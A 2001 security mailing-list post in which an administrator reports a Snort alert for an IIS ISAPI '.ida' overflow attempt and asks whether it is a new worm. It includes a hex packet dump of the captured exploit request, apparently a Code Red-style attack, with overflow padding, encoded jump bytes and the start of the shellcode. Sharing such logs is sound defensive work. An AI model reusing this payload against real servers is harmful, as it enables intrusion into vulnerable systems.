Yet Another Worm ???

From: David Brown (DBrownat_private)
Date: Sun Aug 05 2001 - 17:52:29 PDT

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    Hi All,
    Snort just reported an ISAPI overflow attempt here.I have specific rules in
    place for all the CodeRed worms, so I had to take a look at the packet log.
    Anyone else seen this one, a new worm ,or is it just a random event ?.
    
    
    Rgds,
    Dave
    
    [**] IDS552/web-iis_IIS ISAPI Overflow ida [**]
    08/06-10:13:55.165739 210.209.11.12:4715 -> <SNIPPED>:80
    TCP TTL:109 TOS:0x0 ID:43198 IpLen:20 DgmLen:576
    ***A**** Seq: 0xCB1D4D1C  Ack: 0xE4E9D43F  Win: 0x4470  TcpLen: 20
    47 45 54 20 2F 64 65 66 61 75 6C 74 2E 69 64 61  GET /default.ida
    3F 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  ?XXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    58 25 75 39 30 39 30 25 75 36 38 35 38 25 75 63  X%u9090%u6858%uc
    62 64 33 25 75 37 38 30 31 25 75 39 30 39 30 25  bd3%u7801%u9090%
    75 36 38 35 38 25 75 63 62 64 33 25 75 37 38 30  u6858%ucbd3%u780
    31 25 75 39 30 39 30 25 75 36 38 35 38 25 75 63  1%u9090%u6858%uc
    62 64 33 25 75 37 38 30 31 25 75 39 30 39 30 25  bd3%u7801%u9090%
    75 39 30 39 30 25 75 38 31 39 30 25 75 30 30 63  u9090%u8190%u00c
    33 25 75 30 30 30 33 25 75 38 62 30 30 25 75 35  3%u0003%u8b00%u5
    33 31 62 25 75 35 33 66 66 25 75 30 30 37 38 25  31b%u53ff%u0078%
    75 30 30 30 30 25 75 30 30 3D 61 20 20 48 54 54  u0000%u00=a  HTT
    50 2F 31 2E 30 0D 0A 43 6F 6E 74 65 6E 74 2D 74  P/1.0..Content-t
    79 70 65 3A 20 74 65 78 74 2F 78 6D 6C 0A 43 6F  ype: text/xml.Co
    6E 74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 33 33  ntent-length: 33
    37 39 20 0D 0A 0D 0A C8 C8 01 00 60 E8 03 00 00  79 ........`....
    00 CC EB FE 64 67 FF 36 00 00 64 67 89 26 00 00  ....dg.6..dg.&..
    E8 DF 02 00 00 68 04 01 00 00 8D 85 5C FE FF FF  .....h......\...
    50 FF 55 9C 8D 85 5C FE FF FF 50 FF 55 98 8B 40  P.U...\...P.U..@
    10 8B 08 89 8D 58 FE FF FF FF 55 E4 3D 04 04 00  .....X....U.=...
    00 0F 94 C1 3D 04 08 00 00 0F 94 C5 0A CD 0F B6  ....=...........
    C9 89 8D 54 FE FF FF 8B                          ...T....
    
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